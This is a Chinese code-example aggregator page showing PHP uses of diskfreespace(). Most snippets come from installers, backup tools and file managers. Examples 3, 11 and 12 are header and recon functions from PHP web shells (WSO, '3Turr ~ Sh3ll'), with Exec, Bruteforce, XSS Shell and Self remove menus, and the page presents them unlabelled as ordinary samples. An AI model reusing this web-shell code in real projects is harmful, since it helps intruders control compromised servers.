本文整理汇总了PHP中diskfreespace函数的典型用法代码示例。如果您正苦于以下问题:PHP diskfreespace函数的具体用法?PHP diskfreespace怎么用?PHP diskfreespace使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了diskfreespace函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: envCheck
function envCheck()
{
$this->CheckAdminPrivs('upgrade');
$dir_list=array("api","app","backup","cache","data","uploads","static","errorlog","include","modules","setting","templates","./",);
foreach ($dir_list as $dir)
{
$path=ROOT_PATH.$dir;
if(is_writable($path)==false)$this->Messager("{$path}目录不可写,请将其属性改成0777", null);
}
if(!function_exists("gzopen"))$this->Messager("您的服务器不支持gzopen函数,不能执行升级。", null);
if(!function_exists("md5_file"))$this->Messager("您的服务器不支持md5_file函数,不能执行升级。", null);
$_free_space_src = diskfreespace('.');
if (is_null($_free_space_src) || $_free_space_src <= 0)
{
$this->Messager('无法检查磁盘剩余空间!升级前请先确认剩余空间充足(大于10M)<br/><b>否则极有可能导致升级失败!</b><br/><br/>(继续升级请 <a href="admin.php?mod=upgrade_api&code=check">点击此处</a>)', null);
}
else
{
$_free_space = intval($_free_space_src / (1024 * 1024));
if ($_free_space < 10)
{
$this->Messager('磁盘剩余空间太小(不足10M),无法升级!', null);
}
}
$this->Messager("正在检测...", "admin.php?mod=upgrade_api&code=check");
}
示例2: show_about
/**
* @version $Id: footer.php 107 2008-07-22 17:27:12Z soeren $
* @package eXtplorer
* @copyright soeren 2007
* @author The eXtplorer project (http://sourceforge.net/projects/extplorer)
* @author The The QuiX project (http://quixplorer.sourceforge.net)
*
* @license
* The contents of this file are subject to the Mozilla Public License
* Version 1.1 (the "License"); you may not use this file except in
* compliance with the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS"
* basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
* License for the specific language governing rights and limitations
* under the License.
*
* Alternatively, the contents of this file may be used under the terms
* of the GNU General Public License Version 2 or later (the "GPL"), in
* which case the provisions of the GPL are applicable instead of
* those above. If you wish to allow use of your version of this file only
* under the terms of the GPL and not to allow others to use
* your version of this file under the MPL, indicate your decision by
* deleting the provisions above and replace them with the notice and
* other provisions required by the GPL. If you do not delete
* the provisions above, a recipient may use your version of this file
* under either the MPL or the GPL."
*
* Shows the About Box!
*/
function show_about()
{
// footer for html-page
echo "\n<div id=\"ext_footer\" style=\"text-align:center;\">\r\n\t<img src=\"" . _EXT_URL . "/images/MangosWeb_small.png\" align=\"middle\" alt=\"Mangosweb Enhanced Logo\" />\r\n\t<br />\r\n\t" . ext_Lang::msg('your_version') . ": <a href=\"" . $GLOBALS['ext_home'] . "\" target=\"_blank\">eXtplorer {$GLOBALS['ext_version']}</a>\r\n\t<br />\r\n (<a href=\"http://virtuemart.net/index2.php?option=com_versions&catid=5&myVersion=" . $GLOBALS['ext_version'] . "\" onclick=\"javascript:void window.open('http://virtuemart.net/index2.php?option=com_versions&catid=5&myVersion=" . $GLOBALS['ext_version'] . "', 'win2', 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=580,directories=no,location=no'); return false;\" title=\"" . $GLOBALS["messages"]["check_version"] . "\">" . $GLOBALS["messages"]["check_version"] . "</a>)\r\n\t\r\n\t";
if (function_exists("disk_free_space")) {
$size = disk_free_space($GLOBALS['home_dir'] . $GLOBALS['separator']);
$free = parse_file_size($size);
} elseif (function_exists("diskfreespace")) {
$size = diskfreespace($GLOBALS['home_dir'] . $GLOBALS['separator']);
$free = parse_file_size($size);
} else {
$free = "?";
}
echo '<br />' . $GLOBALS["messages"]["miscfree"] . ": " . $free . " \n";
if (extension_loaded("posix")) {
$owner_info = '<br /><br />' . ext_Lang::msg('current_user') . ' ';
if (ext_isFTPMode()) {
$my_user_info = posix_getpwnam($_SESSION['ftp_login']);
$my_group_info = posix_getgrgid($my_user_info['gid']);
} else {
$my_user_info = posix_getpwuid(posix_geteuid());
$my_group_info = posix_getgrgid(posix_getegid());
}
$owner_info .= $my_user_info['name'] . ' (' . $my_user_info['uid'] . '), ' . $my_group_info['name'] . ' (' . $my_group_info['gid'] . ')';
echo $owner_info;
}
echo "\r\n\t</div>";
}
示例3: wsoHeader
function wsoHeader()
{
if (empty($_POST['charset'])) {
$_POST['charset'] = $GLOBALS['default_charset'];
}
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title> \n<style> \nbody {background-color:#000;color:#fff;} \nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; } \nspan,h1,a{ color: {$color} !important; } \nspan{ font-weight: bolder; } \nh1{ border:1px solid {$color};padding: 2px 5px;font: 14pt Verdana;margin:0px; } \ndiv.content{ padding: 5px;margin-left:5px;} \na{ text-decoration:none; } \na:hover{ background:#ff0000; } \n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } \n.bigarea{ width:100%;height:250px; } \ninput, textarea, select{ margin:0;color:#00ff00;background-color:#000;border:1px solid {$color}; font: 9pt Monospace,'Courier New'; } \nform{ margin:0px; } \n#toolsTbl{ text-align:center; } \n.toolsInp{ width: 80%; } \n.main th{text-align:left;} \n.main tr:hover{background-color:#5e5e5e;} \n.main td, th{vertical-align:middle;} \npre{font-family:Courier,Monospace;} \n#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);} \n</style> \n<script> \n var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; \n var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\n var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "'; \n var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "'; \n var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "'; \n var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "'; \n var d = document; \n function set(a,c,p1,p2,p3,charset) { \n if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; \n if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; \n if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; \n if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; \n if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; \n if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; \n } \n function g(a,c,p1,p2,p3,charset) { \n set(a,c,p1,p2,p3,charset); \n d.mf.submit(); \n } \n function a(a,c,p1,p2,p3,charset) { \n set(a,c,p1,p2,p3,charset); \n var params = 'ajax=true'; \n for(i=0;i<d.mf.elements.length;i++) \n params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); \n sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params); \n } \n function sr(url, params) { \n if (window.XMLHttpRequest) \n req = new XMLHttpRequest(); \n else if (window.ActiveXObject) \n req = new ActiveXObject('Microsoft.XMLHTTP'); \n if (req) { \n req.onreadystatechange = processReqChange; \n req.open('POST', url, true); \n req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); \n req.send(params); \n } \n } \n function processReqChange() { \n if( (req.readyState == 4) ) \n if(req.status == 200) { \n var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); \n var arr=reg.exec(req.responseText); \n eval(arr[2].substr(0, arr[1])); \n } else alert('Request error!'); \n } \n</script> \n<head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'> \n<form method=post name=mf style='display:none;'> \n<input type=hidden name=a> \n<input type=hidden name=c> \n<input type=hidden name=p1> \n<input type=hidden name=p2> \n \n<input type=hidden name=p3> \n<input type=hidden name=charset> \n</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace ? $totalSpace : 1;
$release = @php_uname('r');
$kernel = @php_uname('s');
if (!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n = count($path);
for ($i = 0; $i < $n - 1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for ($j = 0; $j <= $i; $j++) {
$cwd_links .= $path[$j] . '/';
}
$cwd_links .= "\")'>" . $path[$i] . "/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach ($charsets as $item) {
$opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
}
$m = array('Sec Info' => 'SecInfo', 'Files' => 'FilesMan', 'Exec' => 'Console', 'Sql' => 'Sql', 'PHP Tools' => 'phptools', 'LFI' => 'lfiscan', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'XSS Shell' => 'XSSShell', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
if (!empty($GLOBALS['auth_pass'])) {
$m['Logout'] = 'Logout';
}
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach ($m as $k => $v) {
$menu .= '<th width="' . (int) (100 / count($m)) . '%">[<a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a>]</th>';
}
$drives = "";
if ($GLOBALS['os'] == 'win') {
foreach (range('c', 'z') as $drive) {
if (is_dir($drive . ':\\')) {
$drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
}
}
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#00bb00><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
示例4: confirm
function confirm()
{
# check if folder exist
if (!file_exists("../backup")) {
return "<li> Back up folder doesn't exits.";
}
# check if folder is a folder
if (!is_dir("../backup")) {
return "<li>/<cubit>/backup is a file. Back up folder doesn't exits.";
}
$fspace = round(diskfreespace("../backup") / 1024 / 1024, 2);
// Layout
$confirm = "<center><h3>Save Backup</h3>\r\n <h4>Details</h4>\r\n\t\t<form action='" . SELF . "' method=post name=form>\r\n <input type=hidden name=key value=write>\r\n <table border=0 cellpadding='" . TMPL_tblCellPadding . "' cellspacing='" . TMPL_tblCellSpacing . "' width=300>\r\n\t\t\t<tr><th>Before you continue please note the following</th></tr>\r\n\t\t\t<tr class='bg-odd'><td><li> Make sure that the folder /<path tp cubit>/backup/ is owned by or can be written into by the user running you postgres(eg. wwwrun)</td></tr>\r\n\t\t\t<tr class='bg-odd'><td><li> Make sure that you have enough space left on the hard drive (+-100 MB recommanded)</td></tr>\r\n\t\t\t<tr><td><br></td></tr>\r\n\t\t\t<tr class='bg-odd'><td>Currently available space is : {$fspace} MB</td></tr>\r\n\t\t\t<tr><td><input type=submit value='Confirm »'></td></tr>\r\n\t\t</table>\r\n\t\t<br><br>\r\n <table border=0 cellpadding='" . TMPL_tblCellPadding . "' cellspacing='" . TMPL_tblCellSpacing . "' width=100>\r\n \t<tr><th>Quick Links</th></tr>\r\n\t\t\t<tr class='bg-even'><td><a href='main.php'>Main Menu</a></td></tr>\r\n </form>\r\n </table>";
return $confirm;
}
示例5: Env
public function Env()
{
$env = array();
$env['os'] = array('val' => PHP_OS, 'sp' => true);
$env['phpv'] = array('val' => PHP_VERSION, 'sp' => (PHP_VERSION > '5'));
$_up_allow = intval(@ini_get('file_uploads'));
$_up_max_size = @ini_get('upload_max_filesize');
$env['upload'] = array('val' => ($_up_allow ? '允许/最大'.$_up_max_size : '不允许'), 'sp' => $_up_allow);
if (function_exists('gd_info'))
{
$gdfunction = 'gd_info';
$gd = $gdfunction();
$gdv = $gd['GD Version'];
}
else
{
$gdv = '未知版本';
}
$env['gd'] = array('val' => $gdv, 'sp' => true);
$_free_space = intval(diskfreespace('.') / (1024 * 1024));
if ($_free_space > 0)
{
$env['space'] = array('val' => $_free_space.'MB', 'sp' => ($_free_space > 10));
}
else
{
$env['space'] = array('val' => '未知空间大小', 'sp' => true);
}
$rwList = array(
'setting/',
'cache/',
'errorlog/',
'data/',
'uploads/',
'templates/widget/'
);
$fcList = array(
'mysql_connect',
'msockopen',
'file_get_contents',
'file_put_contents'
);
$dir = $this->DirPermission($rwList);
$file = $this->FilePermission('setting/');
$permissions = array_merge($dir, $file);
$function = $this->FunctionTest($fcList);
include handler('template')->file('@inizd/install/env');
}
示例6: check_env
/**
* 环境检查
*/
function check_env(&$result)
{
$env_vars = array();
/// 检查操作系统
$env_vars['php_os'] = array('required' => __('No Limit'), 'best' => __('Unix-like'), 'curr' => PHP_OS, 'state' => true);
/// 检查php版本
$env_vars['php_vers'] = array('required' => '5.3', 'best' => '5.3', 'curr' => PHP_VERSION);
if ((int) $env_vars['php_vers']['required'] > (int) $env_vars['php_vers']['curr']) {
$env_vars['php_vers']['state'] = false;
$result = false;
} else {
$env_vars['php_vers']['state'] = true;
}
/// 检查上传附件大小
/*
$env_vars['upload'] = array('required' => '1M', 'best' => '2M', 'curr' => ini_get('upload_max_filesize'));
$u = substr($env_vars['upload']['curr'], -1, 1);
$max_upload = $u == 'M' ? (int)$env_vars['upload']['curr'] : ($u == 'K' ? (int)$env_vars['upload']['curr'] / 1024 : (int)$env_vars['upload']['curr'] / (1024 * 1024));
if ((int)$env_vars['upload']['required'] > $max_upload) {
$env_vars['upload']['state'] = false;
$result = false;
} else {
$env_vars['upload']['state'] = true;
}
*/
/// 检查gd库版本
if (dcrm_function_exists('gd_info')) {
$gd_info = gd_info();
} else {
$gd_info['GD Version'] = __('The GD module cannot be loaded');
}
$env_vars['gd_vers'] = array('required' => __('No Limit'), 'best' => '2.0', 'curr' => $gd_info['GD Version']);
$match = array();
preg_match('/\\d/', $env_vars['gd_vers']['curr'], $match);
$gd_vers = $match[0];
$env_vars['gd_vers']['state'] = true;
/// 检查可用磁盘空间
$env_vars['disk'] = array('required' => '10M', 'best' => __('No Limit'), 'curr' => floor(diskfreespace(ABSPATH) / (1024 * 1024)) . 'M');
if ((int) $env_vars['disk']['required'] > (int) $env_vars['disk']['curr']) {
$env_vars['disk']['state'] = false;
$result = false;
} else {
$env_vars['disk']['state'] = true;
}
return $env_vars;
}
示例7: getSysInfo
/**
* getSysInfo
*/
public function getSysInfo()
{
$sysinfo = array();
$sysinfo['uname'] = php_uname();
$sysinfo['uptime'] = shell_exec('uptime');
$sysinfo['id'] = shell_exec('id');
$sysinfo['pwd'] = getcwd();
$sysinfo['server_software'] = getenv('SERVER_SOFTWARE');
$sysinfo['php'] = phpversion();
$sysinfo['name'] = $_SERVER['SERVER_NAME'];
$sysinfo['ip_local'] = gethostbyname($_SERVER['SERVER_ADDR']);
$sysinfo['ip_public'] = gethostbyname($sysinfo['name']);
$sysinfo['free_bits'] = diskfreespace($sysinfo['pwd']);
$sysinfo['free'] = $this->resize_bytes($sysinfo['free_bits']);
$sysinfo['all_bits'] = disk_total_space($sysinfo['pwd']);
$sysinfo['all'] = $this->resize_bytes($sysinfo['all_bits']);
$sysinfo['used'] = $this->resize_bytes($sysinfo['all_bits'] - $sysinfo['free_bits']);
$sysinfo['os'] = PHP_OS;
return $sysinfo;
}
示例8: dirname
<?php
/*
* Prototype: float disk_free_space( string directory )
* Description: Given a string containing a directory, this function
* will return the number of bytes available on the corresponding
* filesystem or disk partition
*/
$file_path = dirname(__FILE__);
echo "*** Testing with existing directory ***\n";
var_dump(disk_free_space($file_path));
var_dump(diskfreespace($file_path));
echo "*** Testing with newly created directory ***\n";
$dir = "/disk_free_space";
mkdir($file_path . $dir);
echo " \n Free Space before writing to a file\n";
$space1 = disk_free_space($file_path . $dir);
var_dump($space1);
$fh = fopen($file_path . $dir . "/disk_free_space.tmp", "a");
$data = str_repeat("x", 0xffff);
fwrite($fh, (string) $data);
fclose($fh);
echo "\n Free Space after writing to a file\n";
$space2 = disk_free_space($file_path . $dir);
var_dump($space2);
if ($space1 > $space2) {
echo "\n Free Space Value Is Correct\n";
} else {
echo "\n Free Space Value Is Incorrect\n";
var_dump($space1, $space2);
}
示例9: output
function output()
{
if (defined('DISCUZ_OUTPUTED')) {
return;
}
define('DISCUZ_OUTPUTED', 1);
global $sid, $transsidstatus, $rewritestatus, $ftp, $advlist, $insenz, $queryfloat, $thread, $inajax;
if (($advlist || !empty($insenz['hardadstatus']) || $queryfloat) && !defined('IN_ADMINCP') && !(CURSCRIPT == 'viewthread' && $thread['digest'] == '-1') && !$inajax) {
include template('adv');
}
if (($transsidstatus = empty($GLOBALS['_DCOOKIE']['sid']) && $transsidstatus) || $rewritestatus) {
if ($transsidstatus) {
$searcharray = array("/\\<a(\\s*[^\\>]+\\s*)href\\=([\"|\\']?)([^\"\\'\\s]+)/ies", "/(\\<form.+?\\>)/is");
$replacearray = array("transsid('\\3','<a\\1href=\\2')", "\\1\n<input type=\"hidden\" name=\"sid\" value=\"{$sid}\" />");
} else {
$searcharray = $replacearray = array();
if ($rewritestatus & 1) {
$searcharray[] = "/\\<a href\\=\"forumdisplay\\.php\\?fid\\=(\\d+)(&page\\=(\\d+))?\"([^\\>]*)\\>/e";
$replacearray[] = "rewrite_forum('\\1', '\\3', '\\4')";
}
if ($rewritestatus & 2) {
$searcharray[] = "/\\<a href\\=\"viewthread\\.php\\?tid\\=(\\d+)(&extra\\=page\\%3D(\\d+))?(&page\\=(\\d+))?\"([^\\>]*)\\>/e";
$replacearray[] = "rewrite_thread('\\1', '\\5', '\\3', '\\6')";
}
if ($rewritestatus & 4) {
$searcharray[] = "/\\<a href\\=\"space\\.php\\?(uid\\=(\\d+)|username\\=([^&]+?))\"([^\\>]*)\\>/e";
$replacearray[] = "rewrite_space('\\2', '\\3', '\\4')";
}
if ($rewritestatus & 8) {
$searcharray[] = "/\\<a href\\=\"tag\\.php\\?name\\=([^&]+?)\"([^\\>]*)\\>/e";
$replacearray[] = "rewrite_tag('\\1', '\\2')";
}
}
$content = preg_replace($searcharray, $replacearray, ob_get_contents());
ob_end_clean();
$GLOBALS['gzipcompress'] ? ob_start('ob_gzhandler') : ob_start();
echo $content;
}
if ($ftp['connid']) {
@ftp_close($ftp['connid']);
}
$ftp = array();
if (defined('CACHE_FILE') && CACHE_FILE && !defined('CACHE_FORBIDDEN')) {
global $cachethreaddir;
if (diskfreespace(DISCUZ_ROOT . './' . $cachethreaddir) > 1000000) {
if ($fp = @fopen(CACHE_FILE, 'w')) {
flock($fp, LOCK_EX);
fwrite($fp, empty($content) ? ob_get_contents() : $content);
}
@fclose($fp);
chmod(CACHE_FILE, 0777);
}
}
}
示例10: list_dir
//.........这里部分代码省略.........
echo "<form name=\"selform\" method=\"post\" action=\"" . make_link("post", $dir, null) . "\">\n\t<input type=\"hidden\" name=\"do_action\" /><input type=\"hidden\" name=\"first\" value=\"y\" />\n\t<table class=\"adminlist\" width=\"95%\">\n";
if (extension_loaded("posix")) {
$owner_info = '<th width="15%" class="title">' . $GLOBALS['messages']['miscowner'] . ' ';
if (jx_isFTPMode()) {
$my_user_info = posix_getpwnam($_SESSION['ftp_login']);
$my_group_info = posix_getgrgid($my_user_info['gid']);
} else {
$my_user_info = posix_getpwuid(posix_geteuid());
$my_group_info = posix_getgrgid(posix_getegid());
}
$owner_info .= mosTooltip(mysql_escape_string(sprintf($GLOBALS['messages']['miscownerdesc'], $my_user_info['name'], $my_user_info['uid'], $my_group_info['name'], $my_group_info['gid'])));
// new [mic]
$owner_info .= "</th>\n";
$colspan = 8;
} else {
$owner_info = "";
$colspan = 7;
}
// Table Header
echo "<tr>\n\t<th width=\"2%\" class=\"title\">\n\t\t<input type=\"checkbox\" name=\"toggleAllC\" onclick=\"javascript:ToggleAll(this);\" />\n\t</th>\n\t<th width=\"34%\" class=\"title\">\n";
if ($GLOBALS["order"] == "name") {
$new_srt = $_srt;
} else {
$new_srt = "yes";
}
echo "<a href=\"" . make_link("list", $dir, NULL, "name", $new_srt) . "\">" . $GLOBALS["messages"]["nameheader"];
if ($GLOBALS["order"] == "name") {
echo $images;
}
echo '</a>';
echo "</th>\n\t<th width=\"10%\" class=\"title\">";
if ($GLOBALS["order"] == "size") {
$new_srt = $_srt;
} else {
$new_srt = "yes";
}
echo "<a href=\"" . make_link("list", $dir, NULL, "size", $new_srt) . "\">" . $GLOBALS["messages"]["sizeheader"];
if ($GLOBALS["order"] == "size") {
echo $images;
}
echo "</a></th>\n\t<th width=\"14%\" class=\"title\">";
if ($GLOBALS["order"] == "type") {
$new_srt = $_srt;
} else {
$new_srt = "yes";
}
echo "<a href=\"" . make_link("list", $dir, NULL, "type", $new_srt) . "\">" . $GLOBALS["messages"]["typeheader"];
if ($GLOBALS["order"] == "type") {
echo $images;
}
echo "</a></th>\n\t<th width=\"14%\" class=\"title\">";
if ($GLOBALS["order"] == "mod") {
$new_srt = $_srt;
} else {
$new_srt = "yes";
}
echo "<a href=\"" . make_link("list", $dir, NULL, "mod", $new_srt) . "\">" . $GLOBALS["messages"]["modifheader"];
if ($GLOBALS["order"] == "mod") {
echo $images;
}
echo "</a></th>\n\t<th width=\"2%\" class=\"title\">" . $GLOBALS["messages"]["permheader"] . "\n";
echo "</th>";
echo $owner_info;
echo "<th width=\"10%\" class=\"title\">" . $GLOBALS["messages"]["actionheader"] . "</th>\n\t\n\t</tr>\n";
// make & print Table using lists
print_table($dir, make_list($dir_list, $file_list), $allow);
// print number of items & total filesize
echo "<tr><td colspan=\"{$colspan}\"><hr/></td></tr><tr>\n<td class=\"title\"></td>";
echo "<td class=\"title\">" . $num_items . " " . $GLOBALS["messages"]["miscitems"] . " (";
if (function_exists("disk_free_space")) {
$size = disk_free_space($GLOBALS['home_dir'] . $GLOBALS['separator']);
$free = parse_file_size($size);
} elseif (function_exists("diskfreespace")) {
$size = diskfreespace($GLOBALS['home_dir'] . $GLOBALS['separator']);
$free = parse_file_size($size);
} else {
$free = "?";
}
echo $GLOBALS["messages"]["miscfree"] . ": " . $free . ")</td>\n";
echo "<td class=\"title\">" . parse_file_size($tot_file_size) . "</td>\n";
for ($i = 0; $i < $colspan - 3; ++$i) {
echo "<td class=\"title\"></td>";
}
echo "</tr>\n<tr><td colspan=\"{$colspan}\"><hr/></td></tr></table>\n\t\t</form>";
?>
<script type="text/javascript"><!--
// Uncheck all items (to avoid problems with new items)
var ml = document.selform;
var len = ml.elements.length;
for(var i=0; i<len; ++i) {
var e = ml.elements[i];
if(e.name == "selitems[]" && e.checked == true) {
e.checked=false;
}
}
opacity('jx_logo', 10, 60, 2000);
// --></script>
<?php
}
示例11: yemenhead
function yemenhead()
{
if (empty($_POST['charset'])) {
$_POST['charset'] = $GLOBALS['default_charset'];
}
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace ? $totalSpace : 1;
$on = "<font color=#0F0> ON </font>";
$of = "<font color=red> OFF </font>";
$none = "<font color=#0F0> NONE </font>";
if (function_exists('curl_version')) {
$curl = $on;
} else {
$curl = $of;
}
if (function_exists('mysql_get_client_info')) {
$mysql = $on;
} else {
$mysql = $of;
}
if (function_exists('mssql_connect')) {
$mssql = $on;
} else {
$mssql = $of;
}
if (function_exists('pg_connect')) {
$pg = $on;
} else {
$pg = $of;
}
if (function_exists('oci_connect')) {
$or = $on;
} else {
$or = $of;
}
if (@ini_get('disable_functions')) {
$disfun = '<span>Disabled functions : </span><font color=red style="word-wrap: break-word;width: 80%; " >' . @str_replace(',', ', ', @ini_get('disable_functions')) . '</font>';
} else {
$disfun = "<span>Disabled Functions: </span><font color=#00ff00 >All Functions Enable</font>";
}
if (@ini_get('safe_mode')) {
$safe_modes = "<font color=red>ON</font>";
} else {
$safe_modes = "<font color=#0F0 >OFF</font>";
}
if (@ini_get('open_basedir')) {
$open_b = @ini_get('open_basedir');
} else {
$open_b = $none;
}
if (@ini_get('safe_mode_exec_dir')) {
$safe_exe = @ini_get('safe_mode_exec_dir');
} else {
$safe_exe = $none;
}
if (@ini_get('safe_mode_include_dir')) {
$safe_include = @ini_get('safe_mode_include_dir');
} else {
$safe_include = $none;
}
if (!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n = count($path);
for ($i = 0; $i < $n - 1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for ($j = 0; $j <= $i; $j++) {
$cwd_links .= $path[$j] . '/';
}
$cwd_links .= "\")'>" . $path[$i] . "/</a>";
}
$drives = "";
foreach (range('c', 'z') as $drive) {
if (is_dir($drive . ':')) {
$drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . base64_encode($drive . ':/') . '\')">[ ' . $drive . ' ]</a> ';
}
}
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>3Turr ~ Sh3ll</title>
<link rel="shortcut icon" type="image/x-icon" href="https://avatars1.githubusercontent.com/u/13343571?v=3&s=460">
<script language="javascript">
function Encoder(name)
{
var e = document.getElementById(name);
//.........这里部分代码省略.........
示例12: printHeader
function printHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = "UTF-8";
global $color;
?>
<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title>
<style>
body { background-color:#444;font: 9pt Lucida,Verdana;color:#e1e1e1;margin: 0; }
td,th { font: 9pt Lucida,Verdana;vertical-align:top; }
table.info { color:#fff;background-color:#222; }
span { color:<?=$color?>;font-weight: bolder; }
h1 { color:<?=$color?>;border-left:5px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content { padding: 5px;margin-left:5px;background-color:#333; }
a { text-decoration:none; color:<?=$color?>; }
a:hover { text-decoration:underline; }
.ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea { width:100%;height:250px; }
input, textarea, select { margin:0;color:#fff;background-color:#555;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; }
form { margin:0px; }
#toolsTbl { text-align:center; }
.toolsInp { width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.main td, th{vertical-align:middle}
.l1 {background-color:#444}
pre{font-family:Courier,Monospace;}
</style>
<script>
function set(a,c,p1,p2,p3,charset) {
if(a != null)document.mf.a.value=a;
if(c != null)document.mf.c.value=c;
if(p1 != null)document.mf.p1.value=p1;
if(p2 != null)document.mf.p2.value=p2;
if(p3 != null)document.mf.p3.value=p3;
if(charset != null)document.mf.charset.value=charset;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
document.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = "ajax=true";
for(i=0;i<document.mf.elements.length;i++)
params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
sr('<?=$_SERVER['REQUEST_URI'];?>', params);
}
function sr(url, params) {
if (window.XMLHttpRequest) {
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
